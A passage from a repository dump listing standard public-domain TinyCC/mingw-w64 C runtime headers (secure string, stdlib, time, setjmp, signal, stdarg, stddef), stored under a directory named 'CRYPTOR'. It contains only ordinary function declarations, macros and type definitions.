_DstSizeInBytes,const unsigned char *_Src,size_t _MaxCount); 34 | _CRTIMP errno_t __cdecl _mbsncpy_s_l(unsigned char *_Dst,size_t _DstSizeInBytes,const unsigned char *_Src,size_t _MaxCount,_locale_t _Locale); 35 | _CRTIMP errno_t __cdecl _mbsnset_s(unsigned char *_Dst,size_t _DstSizeInBytes,unsigned int _Val,size_t _MaxCount); 36 | _CRTIMP errno_t __cdecl _mbsnset_s_l(unsigned char *_Dst,size_t _DstSizeInBytes,unsigned int _Val,size_t _MaxCount,_locale_t _Locale); 37 | _CRTIMP errno_t __cdecl _mbsset_s(unsigned char *_Dst,size_t _DstSizeInBytes,unsigned int _Val); 38 | _CRTIMP errno_t __cdecl _mbsset_s_l(unsigned char *_Dst,size_t _DstSizeInBytes,unsigned int _Val,_locale_t _Locale); 39 | _CRTIMP unsigned char *__cdecl _mbstok_s(unsigned char *_Str,const unsigned char *_Delim,unsigned char **_Context); 40 | _CRTIMP unsigned char *__cdecl _mbstok_s_l(unsigned char *_Str,const unsigned char *_Delim,unsigned char **_Context,_locale_t _Locale); 41 | _CRTIMP errno_t __cdecl _mbsupr_s(unsigned char *_Str,size_t _SizeInBytes); 42 | _CRTIMP errno_t __cdecl _mbsupr_s_l(unsigned char *_Str,size_t _SizeInBytes,_locale_t _Locale); 43 | _CRTIMP errno_t __cdecl _mbccpy_s(unsigned char *_Dst,size_t _DstSizeInBytes,int *_PCopied,const unsigned char *_Src); 44 | _CRTIMP errno_t __cdecl _mbccpy_s_l(unsigned char *_Dst,size_t _DstSizeInBytes,int *_PCopied,const unsigned char *_Src,_locale_t _Locale); 45 | #endif 46 | 47 | #ifdef __cplusplus 48 | } 49 | #endif 50 | 51 | #endif 52 | #endif 53 | -------------------------------------------------------------------------------- /CRYPTOR/sources/tcc32/include/sec_api/search_s.h: -------------------------------------------------------------------------------- 1 | /** 2 | * This file has no copyright assigned and is placed in the Public Domain. 3 | * This file is part of the w64 mingw-runtime package. 4 | * No warranty is given; refer to the file DISCLAIMER within this package. 5 | */ 6 | #ifndef _INC_SEARCH_S 7 | #define _INC_SEARCH_S 8 | 9 | #include 10 | 11 | #if defined(MINGW_HAS_SECURE_API) 12 | 13 | #ifdef __cplusplus 14 | extern "C" { 15 | #endif 16 | 17 | _CRTIMP void *__cdecl _lfind_s(const void *_Key,const void *_Base,unsigned int *_NumOfElements,size_t _SizeOfElements,int (__cdecl *_PtFuncCompare)(void *,const void *,const void *),void *_Context); 18 | _CRTIMP void *__cdecl _lsearch_s(const void *_Key,void *_Base,unsigned int *_NumOfElements,size_t _SizeOfElements,int (__cdecl *_PtFuncCompare)(void *,const void *,const void *),void *_Context); 19 | 20 | #ifdef __cplusplus 21 | } 22 | #endif 23 | 24 | #endif 25 | #endif 26 | -------------------------------------------------------------------------------- /CRYPTOR/sources/tcc32/include/sec_api/stdlib_s.h: -------------------------------------------------------------------------------- 1 | /** 2 | * This file has no copyright assigned and is placed in the Public Domain. 3 | * This file is part of the w64 mingw-runtime package. 4 | * No warranty is given; refer to the file DISCLAIMER within this package. 5 | */ 6 | #ifndef _INC_STDLIB_S 7 | #define _INC_STDLIB_S 8 | 9 | #include 10 | 11 | #if defined(MINGW_HAS_SECURE_API) 12 | 13 | #ifdef __cplusplus 14 | extern "C" { 15 | #endif 16 | 17 | _CRTIMP errno_t __cdecl _dupenv_s(char **_PBuffer,size_t *_PBufferSizeInBytes,const char *_VarName); 18 | _CRTIMP errno_t __cdecl _itoa_s(int _Value,char *_DstBuf,size_t _Size,int _Radix); 19 | #if _INTEGRAL_MAX_BITS >= 64 20 | _CRTIMP errno_t __cdecl _i64toa_s(__int64 _Val,char *_DstBuf,size_t _Size,int _Radix); 21 | _CRTIMP errno_t __cdecl _ui64toa_s(unsigned __int64 _Val,char *_DstBuf,size_t _Size,int _Radix); 22 | #endif 23 | _CRTIMP errno_t __cdecl _ltoa_s(long _Val,char *_DstBuf,size_t _Size,int _Radix); 24 | _CRTIMP errno_t __cdecl mbstowcs_s(size_t *_PtNumOfCharConverted,wchar_t *_DstBuf,size_t _SizeInWords,const char *_SrcBuf,size_t _MaxCount); 25 | _CRTIMP errno_t __cdecl _mbstowcs_s_l(size_t *_PtNumOfCharConverted,wchar_t *_DstBuf,size_t _SizeInWords,const char *_SrcBuf,size_t _MaxCount,_locale_t _Locale); 26 | _CRTIMP errno_t __cdecl _ultoa_s(unsigned long _Val,char *_DstBuf,size_t _Size,int _Radix); 27 | _CRTIMP errno_t __cdecl _wctomb_s_l(int *_SizeConverted,char *_MbCh,size_t _SizeInBytes,wchar_t _WCh,_locale_t _Locale); 28 | _CRTIMP errno_t __cdecl wcstombs_s(size_t *_PtNumOfCharConverted,char *_Dst,size_t _DstSizeInBytes,const wchar_t *_Src,size_t _MaxCountInBytes); 29 | _CRTIMP errno_t __cdecl _wcstombs_s_l(size_t *_PtNumOfCharConverted,char *_Dst,size_t _DstSizeInBytes,const wchar_t *_Src,size_t _MaxCountInBytes,_locale_t _Locale); 30 | 31 | #ifndef _WSTDLIB_S_DEFINED 32 | #define _WSTDLIB_S_DEFINED 33 | _CRTIMP errno_t __cdecl _itow_s (int _Val,wchar_t *_DstBuf,size_t _SizeInWords,int _Radix); 34 | _CRTIMP errno_t __cdecl _ltow_s (long _Val,wchar_t *_DstBuf,size_t _SizeInWords,int _Radix); 35 | _CRTIMP errno_t __cdecl _ultow_s (unsigned long _Val,wchar_t *_DstBuf,size_t _SizeInWords,int _Radix); 36 | _CRTIMP errno_t __cdecl _wgetenv_s(size_t *_ReturnSize,wchar_t *_DstBuf,size_t _DstSizeInWords,const wchar_t *_VarName); 37 | _CRTIMP errno_t __cdecl _wdupenv_s(wchar_t **_Buffer,size_t *_BufferSizeInWords,const wchar_t *_VarName); 38 | #if _INTEGRAL_MAX_BITS >= 64 39 | _CRTIMP errno_t __cdecl _i64tow_s(__int64 _Val,wchar_t *_DstBuf,size_t _SizeInWords,int _Radix); 40 | _CRTIMP errno_t __cdecl _ui64tow_s(unsigned __int64 _Val,wchar_t *_DstBuf,size_t _SizeInWords,int _Radix); 41 | #endif 42 | #endif 43 | 44 | #ifndef _POSIX_ 45 | _CRTIMP errno_t __cdecl _ecvt_s(char *_DstBuf,size_t _Size,double _Val,int _NumOfDights,int *_PtDec,int *_PtSign); 46 | _CRTIMP errno_t __cdecl _fcvt_s(char *_DstBuf,size_t _Size,double _Val,int _NumOfDec,int *_PtDec,int *_PtSign); 47 | _CRTIMP errno_t __cdecl _gcvt_s(char *_DstBuf,size_t _Size,double _Val,int _NumOfDigits); 48 | _CRTIMP errno_t __cdecl _makepath_s(char *_PathResult,size_t _Size,const char *_Drive,const char *_Dir,const char *_Filename,const char *_Ext); 49 | _CRTIMP errno_t __cdecl _putenv_s(const char *_Name,const char *_Value); 50 | _CRTIMP errno_t __cdecl _searchenv_s(const char *_Filename,const char *_EnvVar,char *_ResultPath,size_t _SizeInBytes); 51 | _CRTIMP errno_t __cdecl _splitpath_s(const char *_FullPath,char *_Drive,size_t _DriveSize,char *_Dir,size_t _DirSize,char *_Filename,size_t _FilenameSize,char *_Ext,size_t _ExtSize); 52 | 53 | #ifndef _WSTDLIBP_S_DEFINED 54 | #define _WSTDLIBP_S_DEFINED 55 | _CRTIMP errno_t __cdecl _wmakepath_s(wchar_t *_PathResult,size_t _SizeInWords,const wchar_t *_Drive,const wchar_t *_Dir,const wchar_t *_Filename,const wchar_t *_Ext); 56 | _CRTIMP errno_t __cdecl _wputenv_s(const wchar_t *_Name,const wchar_t *_Value); 57 | _CRTIMP errno_t __cdecl _wsearchenv_s(const wchar_t *_Filename,const wchar_t *_EnvVar,wchar_t *_ResultPath,size_t _SizeInWords); 58 | _CRTIMP errno_t __cdecl _wsplitpath_s(const wchar_t *_FullPath,wchar_t *_Drive,size_t _DriveSizeInWords,wchar_t *_Dir,size_t _DirSizeInWords,wchar_t *_Filename,size_t _FilenameSizeInWords,wchar_t *_Ext,size_t _ExtSizeInWords); 59 | #endif 60 | #endif 61 | 62 | #ifdef __cplusplus 63 | } 64 | #endif 65 | 66 | #endif 67 | #endif 68 | -------------------------------------------------------------------------------- /CRYPTOR/sources/tcc32/include/sec_api/stralign_s.h: -------------------------------------------------------------------------------- 1 | /** 2 | * This file has no copyright assigned and is placed in the Public Domain. 3 | * This file is part of the w64 mingw-runtime package. 4 | * No warranty is given; refer to the file DISCLAIMER within this package. 5 | */ 6 | #ifndef __STRALIGN_H_S_ 7 | #define __STRALIGN_H_S_ 8 | 9 | #include 10 | 11 | #if defined(MINGW_HAS_SECURE_API) 12 | 13 | #ifdef __cplusplus 14 | extern "C" { 15 | #endif 16 | 17 | #if !defined(I_X86_) && defined(_WSTRING_S_DEFINED) 18 | #if defined(__cplusplus) && defined(_WConst_Return) 19 | static __inline PUWSTR ua_wcscpy_s(PUWSTR Destination,size_t DestinationSize,PCUWSTR Source) { 20 | if(WSTR_ALIGNED(Source) && WSTR_ALIGNED(Destination)) return (wcscpy_s((PWSTR)Destination,DestinationSize,(PCWSTR)Source)==0 ? Destination : NULL); 21 | return uaw_wcscpy((PCUWSTR)String,Character); 22 | } 23 | #endif 24 | #endif 25 | 26 | #ifdef __cplusplus 27 | } 28 | #endif 29 | #endif 30 | #endif 31 | -------------------------------------------------------------------------------- /CRYPTOR/sources/tcc32/include/sec_api/string_s.h: -------------------------------------------------------------------------------- 1 | /** 2 | * This file has no copyright assigned and is placed in the Public Domain. 3 | * This file is part of the w64 mingw-runtime package. 4 | * No warranty is given; refer to the file DISCLAIMER within this package. 5 | */ 6 | #ifndef _INC_STRING_S 7 | #define _INC_STRING_S 8 | 9 | #include 10 | 11 | #if defined(MINGW_HAS_SECURE_API) 12 | 13 | #ifdef __cplusplus 14 | extern "C" { 15 | #endif 16 | 17 | _CRTIMP errno_t __cdecl _strset_s(char *_Dst,size_t _DstSize,int _Value); 18 | _CRTIMP errno_t __cdecl _strerror_s(char *_Buf,size_t _SizeInBytes,const char *_ErrMsg); 19 | _CRTIMP errno_t __cdecl _strlwr_s(char *_Str,size_t _Size); 20 | _CRTIMP errno_t __cdecl _strlwr_s_l(char *_Str,size_t _Size,_locale_t _Locale); 21 | _CRTIMP errno_t __cdecl _strnset_s(char *_Str,size_t _Size,int _Val,size_t _MaxCount); 22 | _CRTIMP errno_t __cdecl _strupr_s(char *_Str,size_t _Size); 23 | _CRTIMP errno_t __cdecl _strupr_s_l(char *_Str,size_t _Size,_locale_t _Locale); 24 | #ifndef _WSTRING_S_DEFINED 25 | #define _WSTRING_S_DEFINED 26 | _CRTIMP wchar_t *__cdecl wcstok_s(wchar_t *_Str,const wchar_t *_Delim,wchar_t **_Context); 27 | _CRTIMP errno_t __cdecl _wcserror_s(wchar_t *_Buf,size_t _SizeInWords,int _ErrNum); 28 | _CRTIMP errno_t __cdecl __wcserror_s(wchar_t *_Buffer,size_t _SizeInWords,const wchar_t *_ErrMsg); 29 | _CRTIMP errno_t __cdecl _wcsnset_s(wchar_t *_Dst,size_t _DstSizeInWords,wchar_t _Val,size_t _MaxCount); 30 | _CRTIMP errno_t __cdecl _wcsset_s(wchar_t *_Str,size_t _SizeInWords,wchar_t _Val); 31 | _CRTIMP errno_t __cdecl _wcslwr_s(wchar_t *_Str,size_t _SizeInWords); 32 | _CRTIMP errno_t __cdecl _wcslwr_s_l(wchar_t *_Str,size_t _SizeInWords,_locale_t _Locale); 33 | _CRTIMP errno_t __cdecl _wcsupr_s(wchar_t *_Str,size_t _Size); 34 | _CRTIMP errno_t __cdecl _wcsupr_s_l(wchar_t *_Str,size_t _Size,_locale_t _Locale); 35 | #endif 36 | 37 | #ifdef __cplusplus 38 | } 39 | #endif 40 | #endif 41 | #endif 42 | -------------------------------------------------------------------------------- /CRYPTOR/sources/tcc32/include/sec_api/sys/timeb_s.h: -------------------------------------------------------------------------------- 1 | /** 2 | * This file has no copyright assigned and is placed in the Public Domain. 3 | * This file is part of the w64 mingw-runtime package. 4 | * No warranty is given; refer to the file DISCLAIMER within this package. 5 | */ 6 | 7 | #ifndef _TIMEB_H_S 8 | #define _TIMEB_H_S 9 | 10 | #include 11 | 12 | #ifdef __cplusplus 13 | extern "C" { 14 | #endif 15 | 16 | #if defined(MINGW_HAS_SECURE_API) 17 | 18 | #ifdef _USE_32BIT_TIME_T 19 | #define _ftime_s _ftime32_s 20 | #else 21 | #define _ftime_s _ftime64_s 22 | #endif 23 | 24 | _CRTIMP errno_t __cdecl _ftime32_s(struct __timeb32 *_Time); 25 | #if _INTEGRAL_MAX_BITS >= 64 26 | _CRTIMP errno_t __cdecl _ftime64_s(struct __timeb64 *_Time); 27 | #endif 28 | #endif 29 | 30 | #ifdef __cplusplus 31 | } 32 | #endif 33 | 34 | #endif 35 | -------------------------------------------------------------------------------- /CRYPTOR/sources/tcc32/include/sec_api/time_s.h: -------------------------------------------------------------------------------- 1 | /** 2 | * This file has no copyright assigned and is placed in the Public Domain. 3 | * This file is part of the w64 mingw-runtime package. 4 | * No warranty is given; refer to the file DISCLAIMER within this package. 5 | */ 6 | #ifndef _TIME_H__S 7 | #define _TIME_H__S 8 | 9 | #include 10 | 11 | #if defined(MINGW_HAS_SECURE_API) 12 | 13 | #ifdef __cplusplus 14 | extern "C" { 15 | #endif 16 | 17 | _CRTIMP errno_t __cdecl _ctime32_s(char *_Buf,size_t _SizeInBytes,const __time32_t *_Time); 18 | _CRTIMP errno_t __cdecl _gmtime32_s(struct tm *_Tm,const __time32_t *_Time); 19 | _CRTIMP errno_t __cdecl _localtime32_s(struct tm *_Tm,const __time32_t *_Time); 20 | _CRTIMP errno_t __cdecl _strdate_s(char *_Buf,size_t _SizeInBytes); 21 | _CRTIMP errno_t __cdecl _strtime_s(char *_Buf ,size_t _SizeInBytes); 22 | #if _INTEGRAL_MAX_BITS >= 64 23 | _CRTIMP errno_t __cdecl _ctime64_s(char *_Buf,size_t _SizeInBytes,const __time64_t *_Time); 24 | _CRTIMP errno_t __cdecl _gmtime64_s(struct tm *_Tm,const __time64_t *_Time); 25 | _CRTIMP errno_t __cdecl _localtime64_s(struct tm *_Tm,const __time64_t *_Time); 26 | #endif 27 | 28 | #ifndef _WTIME_S_DEFINED 29 | #define _WTIME_S_DEFINED 30 | _CRTIMP errno_t __cdecl _wasctime_s(wchar_t *_Buf,size_t _SizeInWords,const struct tm *_Tm); 31 | _CRTIMP errno_t __cdecl _wctime32_s(wchar_t *_Buf,size_t _SizeInWords,const __time32_t *_Time); 32 | _CRTIMP errno_t __cdecl _wstrdate_s(wchar_t *_Buf,size_t _SizeInWords); 33 | _CRTIMP errno_t __cdecl _wstrtime_s(wchar_t *_Buf,size_t _SizeInWords); 34 | #if _INTEGRAL_MAX_BITS >= 64 35 | _CRTIMP errno_t __cdecl _wctime64_s(wchar_t *_Buf,size_t _SizeInWords,const __time64_t *_Time); 36 | #endif 37 | 38 | #if !defined (RC_INVOKED) && !defined (_INC_WTIME_S_INL) 39 | #define _INC_WTIME_S_INL 40 | #ifdef _USE_32BIT_TIME_T 41 | __CRT_INLINE errno_t __cdecl _wctime_s(wchar_t *_Buffer,size_t _SizeInWords,const time_t *_Time) { return _wctime32_s(_Buffer,_SizeInWords,_Time); } 42 | #else 43 | __CRT_INLINE errno_t __cdecl _wctime_s(wchar_t *_Buffer,size_t _SizeInWords,const time_t *_Time) { return _wctime64_s(_Buffer,_SizeInWords,_Time); } 44 | #endif 45 | #endif 46 | #endif 47 | 48 | #ifndef RC_INVOKED 49 | #ifdef _USE_32BIT_TIME_T 50 | __CRT_INLINE errno_t __cdecl localtime_s(struct tm *_Tm,const time_t *_Time) { return _localtime32_s(_Tm,_Time); } 51 | #else 52 | __CRT_INLINE errno_t __cdecl localtime_s(struct tm *_Tm,const time_t *_Time) { return _localtime64_s(_Tm,_Time); } 53 | #endif 54 | #endif 55 | 56 | #ifdef __cplusplus 57 | } 58 | #endif 59 | 60 | #endif 61 | #endif 62 | -------------------------------------------------------------------------------- /CRYPTOR/sources/tcc32/include/setjmp.h: -------------------------------------------------------------------------------- 1 | /** 2 | * This file has no copyright assigned and is placed in the Public Domain. 3 | * This file is part of the w64 mingw-runtime package. 4 | * No warranty is given; refer to the file DISCLAIMER within this package. 5 | */ 6 | #ifndef _INC_SETJMP 7 | #define _INC_SETJMP 8 | 9 | #include <_mingw.h> 10 | 11 | #pragma pack(push,_CRT_PACKING) 12 | 13 | #ifdef __cplusplus 14 | extern "C" { 15 | #endif 16 | 17 | #if (defined(_X86_) && !defined(__x86_64)) 18 | 19 | #define _JBLEN 16 20 | #define _JBTYPE int 21 | 22 | typedef struct __JUMP_BUFFER { 23 | unsigned long Ebp; 24 | unsigned long Ebx; 25 | unsigned long Edi; 26 | unsigned long Esi; 27 | unsigned long Esp; 28 | unsigned long Eip; 29 | unsigned long Registration; 30 | unsigned long TryLevel; 31 | unsigned long Cookie; 32 | unsigned long UnwindFunc; 33 | unsigned long UnwindData[6]; 34 | } _JUMP_BUFFER; 35 | #elif defined(__ia64__) 36 | typedef _CRT_ALIGN(16) struct _SETJMP_FLOAT128 { 37 | __int64 LowPart; 38 | __int64 HighPart; 39 | } SETJMP_FLOAT128; 40 | 41 | #define _JBLEN 33 42 | typedef SETJMP_FLOAT128 _JBTYPE; 43 | 44 | typedef struct __JUMP_BUFFER { 45 | 46 | unsigned long iAReserved[6]; 47 | 48 | unsigned long Registration; 49 | unsigned long TryLevel; 50 | unsigned long Cookie; 51 | unsigned long UnwindFunc; 52 | 53 | unsigned long UnwindData[6]; 54 | 55 | SETJMP_FLOAT128 FltS0; 56 | SETJMP_FLOAT128 FltS1; 57 | SETJMP_FLOAT128 FltS2; 58 | SETJMP_FLOAT128 FltS3; 59 | SETJMP_FLOAT128 FltS4; 60 | SETJMP_FLOAT128 FltS5; 61 | SETJMP_FLOAT128 FltS6; 62 | SETJMP_FLOAT128 FltS7; 63 | SETJMP_FLOAT128 FltS8; 64 | SETJMP_FLOAT128 FltS9; 65 | SETJMP_FLOAT128 FltS10; 66 | SETJMP_FLOAT128 FltS11; 67 | SETJMP_FLOAT128 FltS12; 68 | SETJMP_FLOAT128 FltS13; 69 | SETJMP_FLOAT128 FltS14; 70 | SETJMP_FLOAT128 FltS15; 71 | SETJMP_FLOAT128 FltS16; 72 | SETJMP_FLOAT128 FltS17; 73 | SETJMP_FLOAT128 FltS18; 74 | SETJMP_FLOAT128 FltS19; 75 | __int64 FPSR; 76 | __int64 StIIP; 77 | __int64 BrS0; 78 | __int64 BrS1; 79 | __int64 BrS2; 80 | __int64 BrS3; 81 | __int64 BrS4; 82 | __int64 IntS0; 83 | __int64 IntS1; 84 | __int64 IntS2; 85 | __int64 IntS3; 86 | __int64 RsBSP; 87 | __int64 RsPFS; 88 | __int64 ApUNAT; 89 | __int64 ApLC; 90 | __int64 IntSp; 91 | __int64 IntNats; 92 | __int64 Preds; 93 | 94 | } _JUMP_BUFFER; 95 | #elif defined(__x86_64) 96 | typedef _CRT_ALIGN(16) struct _SETJMP_FLOAT128 { 97 | unsigned __int64 Part[2]; 98 | } SETJMP_FLOAT128; 99 | 100 | #define _JBLEN 16 101 | typedef SETJMP_FLOAT128 _JBTYPE; 102 | 103 | typedef struct _JUMP_BUFFER { 104 | unsigned __int64 Frame; 105 | unsigned __int64 Rbx; 106 | unsigned __int64 Rsp; 107 | unsigned __int64 Rbp; 108 | unsigned __int64 Rsi; 109 | unsigned __int64 Rdi; 110 | unsigned __int64 R12; 111 | unsigned __int64 R13; 112 | unsigned __int64 R14; 113 | unsigned __int64 R15; 114 | unsigned __int64 Rip; 115 | unsigned __int64 Spare; 116 | SETJMP_FLOAT128 Xmm6; 117 | SETJMP_FLOAT128 Xmm7; 118 | SETJMP_FLOAT128 Xmm8; 119 | SETJMP_FLOAT128 Xmm9; 120 | SETJMP_FLOAT128 Xmm10; 121 | SETJMP_FLOAT128 Xmm11; 122 | SETJMP_FLOAT128 Xmm12; 123 | SETJMP_FLOAT128 Xmm13; 124 | SETJMP_FLOAT128 Xmm14; 125 | SETJMP_FLOAT128 Xmm15; 126 | } _JUMP_BUFFER; 127 | #endif 128 | #ifndef _JMP_BUF_DEFINED 129 | typedef _JBTYPE jmp_buf[_JBLEN]; 130 | #define _JMP_BUF_DEFINED 131 | #endif 132 | 133 | void * __cdecl __attribute__ ((__nothrow__)) mingw_getsp(void); 134 | 135 | #ifdef USE_MINGW_SETJMP_TWO_ARGS 136 | #ifndef _INC_SETJMPEX 137 | #define setjmp(BUF) _setjmp((BUF),mingw_getsp()) 138 | int __cdecl __attribute__ ((__nothrow__)) _setjmp(jmp_buf _Buf,void *_Ctx); 139 | #else 140 | #undef setjmp 141 | #define setjmp(BUF) _setjmpex((BUF),mingw_getsp()) 142 | #define setjmpex(BUF) _setjmpex((BUF),mingw_getsp()) 143 | int __cdecl __attribute__ ((__nothrow__)) _setjmpex(jmp_buf _Buf,void *_Ctx); 144 | #endif 145 | #else 146 | #ifndef _INC_SETJMPEX 147 | #define setjmp _setjmp 148 | #endif 149 | int __cdecl __attribute__ ((__nothrow__)) setjmp(jmp_buf _Buf); 150 | #endif 151 | 152 | __declspec(noreturn) __attribute__ ((__nothrow__)) void __cdecl ms_longjmp(jmp_buf _Buf,int _Value)/* throw(...)*/; 153 | __declspec(noreturn) __attribute__ ((__nothrow__)) void __cdecl longjmp(jmp_buf _Buf,int _Value); 154 | 155 | #ifdef __cplusplus 156 | } 157 | #endif 158 | 159 | #pragma pack(pop) 160 | #endif 161 | -------------------------------------------------------------------------------- /CRYPTOR/sources/tcc32/include/share.h: -------------------------------------------------------------------------------- 1 | /** 2 | * This file has no copyright assigned and is placed in the Public Domain. 3 | * This file is part of the w64 mingw-runtime package. 4 | * No warranty is given; refer to the file DISCLAIMER within this package. 5 | */ 6 | #ifndef _INC_SHARE 7 | #define _INC_SHARE 8 | 9 | #ifndef _WIN32 10 | #error Only Win32 target is supported! 11 | #endif 12 | 13 | #define _SH_COMPAT 0x00 14 | #define _SH_DENYRW 0x10 15 | #define _SH_DENYWR 0x20 16 | #define _SH_DENYRD 0x30 17 | #define _SH_DENYNO 0x40 18 | #define _SH_SECURE 0x80 19 | 20 | #ifndef NO_OLDNAMES 21 | #define SH_COMPAT _SH_COMPAT 22 | #define SH_DENYRW _SH_DENYRW 23 | #define SH_DENYWR _SH_DENYWR 24 | #define SH_DENYRD _SH_DENYRD 25 | #define SH_DENYNO _SH_DENYNO 26 | #endif 27 | 28 | #endif 29 | -------------------------------------------------------------------------------- /CRYPTOR/sources/tcc32/include/signal.h: -------------------------------------------------------------------------------- 1 | /** 2 | * This file has no copyright assigned and is placed in the Public Domain. 3 | * This file is part of the w64 mingw-runtime package. 4 | * No warranty is given; refer to the file DISCLAIMER within this package. 5 | */ 6 | #ifndef _INC_SIGNAL 7 | #define _INC_SIGNAL 8 | 9 | #include <_mingw.h> 10 | 11 | #ifdef __cplusplus 12 | extern "C" { 13 | #endif 14 | 15 | #ifndef _SIG_ATOMIC_T_DEFINED 16 | #define _SIG_ATOMIC_T_DEFINED 17 | typedef int sig_atomic_t; 18 | #endif 19 | 20 | #define NSIG 23 21 | 22 | #define SIGHUP 1 /* hangup */ 23 | #define SIGINT 2 24 | #define SIGQUIT 3 /* quit */ 25 | #define SIGILL 4 26 | #define SIGTRAP 5 /* trace trap (not reset when caught) */ 27 | #define SIGIOT 6 /* IOT instruction */ 28 | #define SIGABRT 6 /* used by abort, replace SIGIOT in the future */ 29 | #define SIGEMT 7 /* EMT instruction */ 30 | #define SIGFPE 8 31 | #define SIGKILL 9 /* kill (cannot be caught or ignored) */ 32 | #define SIGBUS 10 /* bus error */ 33 | #define SIGSEGV 11 34 | #define SIGSYS 12 /* bad argument to system call */ 35 | #define SIGPIPE 13 /* write on a pipe with no one to read it */ 36 | #ifdef __USE_MINGW_ALARM 37 | #define SIGALRM 14 /* alarm clock */ 38 | #endif 39 | #define SIGTERM 15 40 | #define SIGBREAK 21 41 | #define SIGABRT2 22 42 | 43 | #define SIGABRT_COMPAT 6 44 | 45 | typedef void (*__p_sig_fn_t)(int); 46 | 47 | #define SIG_DFL (__p_sig_fn_t)0 48 | #define SIG_IGN (__p_sig_fn_t)1 49 | #define SIG_GET (__p_sig_fn_t)2 50 | #define SIG_SGE (__p_sig_fn_t)3 51 | #define SIG_ACK (__p_sig_fn_t)4 52 | #define SIG_ERR (__p_sig_fn_t)-1 53 | 54 | extern void **__cdecl __pxcptinfoptrs(void); 55 | #define _pxcptinfoptrs (*__pxcptinfoptrs()) 56 | 57 | __p_sig_fn_t __cdecl signal(int _SigNum,__p_sig_fn_t _Func); 58 | int __cdecl raise(int _SigNum); 59 | 60 | #ifdef __cplusplus 61 | } 62 | #endif 63 | #endif 64 | -------------------------------------------------------------------------------- /CRYPTOR/sources/tcc32/include/stdarg.h: -------------------------------------------------------------------------------- 1 | #ifndef _STDARG_H 2 | #define _STDARG_H 3 | 4 | #ifdef __x86_64__ 5 | #ifndef _WIN64 6 | 7 | //This should be in sync with the declaration on our lib/libtcc1.c 8 | /* GCC compatible definition of va_list. */ 9 | typedef struct { 10 | unsigned int gp_offset; 11 | unsigned int fp_offset; 12 | union { 13 | unsigned int overflow_offset; 14 | char *overflow_arg_area; 15 | }; 16 | char *reg_save_area; 17 | } __va_list_struct; 18 | 19 | typedef __va_list_struct va_list[1]; 20 | 21 | void __va_start(__va_list_struct *ap, void *fp); 22 | void *__va_arg(__va_list_struct *ap, int arg_type, int size, int align); 23 | 24 | #define va_start(ap, last) __va_start(ap, __builtin_frame_address(0)) 25 | #define va_arg(ap, type) \ 26 | (*(type *)(__va_arg(ap, __builtin_va_arg_types(type), sizeof(type), __alignof__(type)))) 27 | #define va_copy(dest, src) (*(dest) = *(src)) 28 | #define va_end(ap) 29 | 30 | /* avoid conflicting definition for va_list on Macs. */ 31 | #define _VA_LIST_T 32 | 33 | #else /* _WIN64 */ 34 | typedef char *va_list; 35 | #define va_start(ap,last) __builtin_va_start(ap,last) 36 | #define va_arg(ap, t) ((sizeof(t) > 8 || (sizeof(t) & (sizeof(t) - 1))) \ 37 | ? **(t **)((ap += 8) - 8) : *(t *)((ap += 8) - 8)) 38 | #define va_copy(dest, src) ((dest) = (src)) 39 | #define va_end(ap) 40 | #endif 41 | 42 | #elif __arm__ 43 | typedef char *va_list; 44 | #define _tcc_alignof(type) ((int)&((struct {char c;type x;} *)0)->x) 45 | #define _tcc_align(addr,type) (((unsigned)addr + _tcc_alignof(type) - 1) \ 46 | & ~(_tcc_alignof(type) - 1)) 47 | #define va_start(ap,last) ap = ((char *)&(last)) + ((sizeof(last)+3)&~3) 48 | #define va_arg(ap,type) (ap = (void *) ((_tcc_align(ap,type)+sizeof(type)+3) \ 49 | &~3), *(type *)(ap - ((sizeof(type)+3)&~3))) 50 | #define va_copy(dest, src) (dest) = (src) 51 | #define va_end(ap) 52 | 53 | #elif defined(__aarch64__) 54 | typedef struct { 55 | void *__stack; 56 | void *__gr_top; 57 | void *__vr_top; 58 | int __gr_offs; 59 | int __vr_offs; 60 | } va_list; 61 | #define va_start(ap, last) __va_start(ap, last) 62 | #define va_arg(ap, type) __va_arg(ap, type) 63 | #define va_end(ap) 64 | #define va_copy(dest, src) ((dest) = (src)) 65 | 66 | #else /* __i386__ */ 67 | typedef char *va_list; 68 | /* only correct for i386 */ 69 | #define va_start(ap,last) ap = ((char *)&(last)) + ((sizeof(last)+3)&~3) 70 | #define va_arg(ap,type) (ap += (sizeof(type)+3)&~3, *(type *)(ap - ((sizeof(type)+3)&~3))) 71 | #define va_copy(dest, src) (dest) = (src) 72 | #define va_end(ap) 73 | #endif 74 | 75 | /* fix a buggy dependency on GCC in libio.h */ 76 | typedef va_list __gnuc_va_list; 77 | #define _VA_LIST_DEFINED 78 | 79 | #endif /* _STDARG_H */ 80 | -------------------------------------------------------------------------------- /CRYPTOR/sources/tcc32/include/stdbool.h: -------------------------------------------------------------------------------- 1 | #ifndef _STDBOOL_H 2 | #define _STDBOOL_H 3 | 4 | /* ISOC99 boolean */ 5 | 6 | #define bool _Bool 7 | #define true 1 8 | #define false 0 9 | #define __bool_true_false_are_defined 1 10 | 11 | #endif /* _STDBOOL_H */ 12 | -------------------------------------------------------------------------------- /CRYPTOR/sources/tcc32/include/stddef.h: -------------------------------------------------------------------------------- 1 | #ifndef _STDDEF_H 2 | #define _STDDEF_H 3 | 4 | typedef __SIZE_TYPE__ size_t; 5 | typedef __PTRDIFF_TYPE__ ssize_t; 6 | typedef __WCHAR_TYPE__ wchar_t; 7 | typedef __PTRDIFF_TYPE__ ptrdiff_t; 8 | typedef __PTRDIFF_TYPE__ intptr_t; 9 | typedef __SIZE_TYPE__ uintptr_t; 10 | 11 | #ifndef __int8_t_defined 12 | #define __int8_t_defined 13 | typedef signed char int8_t; 14 | typedef signed short int int16_t; 15 | typedef signed int int32_t; 16 | #ifdef __LP64__ 17 | typedef signed long int int64_t; 18 | #else 19 | typedef signed long long int int64_t; 20 | #endif 21 | typedef unsigned char uint8_t; 22 | typedef unsigned short int uint16_t; 23 | typedef unsigned int uint32_t; 24 | #ifdef __LP64__ 25 | typedef unsigned long int uint64_t; 26 | #else 27 | typedef unsigned long long int uint64_t; 28 | #endif 29 | #endif 30 | 31 | #ifndef NULL 32 | #define NULL ((void*)0) 33 | #endif 34 | 35 | #define offsetof(type, field) ((size_t)&((type *)0)->field) 36 | 37 | void *alloca(size_t size); 38 | 39 | #endif 40 | 41 | /* Older glibc require a wint_t from (when requested 42 | by __need_wint_t, as otherwise stddef.h isn't allowed to 43 | define this type). Note that this must be outside the normal 44 | _STDDEF_H guard, so that it works even when we've included the file 45 | already (without requiring wint_t). Some other libs define _WINT_T 46 | if they've already provided that type, so we 